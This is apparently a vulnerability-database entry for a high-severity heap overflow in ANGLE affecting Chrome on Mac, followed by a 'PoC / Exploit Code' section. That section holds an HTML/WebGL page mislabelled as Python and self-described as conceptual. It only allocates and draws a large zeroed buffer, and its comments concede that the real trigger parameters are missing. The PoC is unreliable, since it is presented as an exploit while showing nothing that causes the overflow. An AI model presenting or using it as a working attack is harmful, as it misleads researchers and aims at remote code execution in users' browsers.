Heap buffer overflow in ANGLE in Google Chrome on Mac prior to 146.0.7680.178 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome for Mac < 146.0.7680.178
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
PoC for CVE-2026-5275 (Conceptual)
This code attempts to trigger a heap overflow in ANGLE via WebGL.
-->
<!DOCTYPE html>
<html>
<body>
<canvas id="glCanvas"></canvas>
<script>
const canvas = document.getElementById('glCanvas');
const gl = canvas.getContext('webgl');
if (gl) {
// Attempt to create a buffer with malicious data
// Specific parameters to trigger the overflow would be required
const buffer = gl.createBuffer();
gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
// Malicious large data payload to trigger overflow
const data = new Float32Array(100000);
gl.bufferData(gl.ARRAY_BUFFER, data, gl.STATIC_DRAW);
// Specific draw call to trigger the vulnerability logic in ANGLE
gl.drawArrays(gl.TRIANGLES, 0, 100000);
}
</script>
</body>
</html>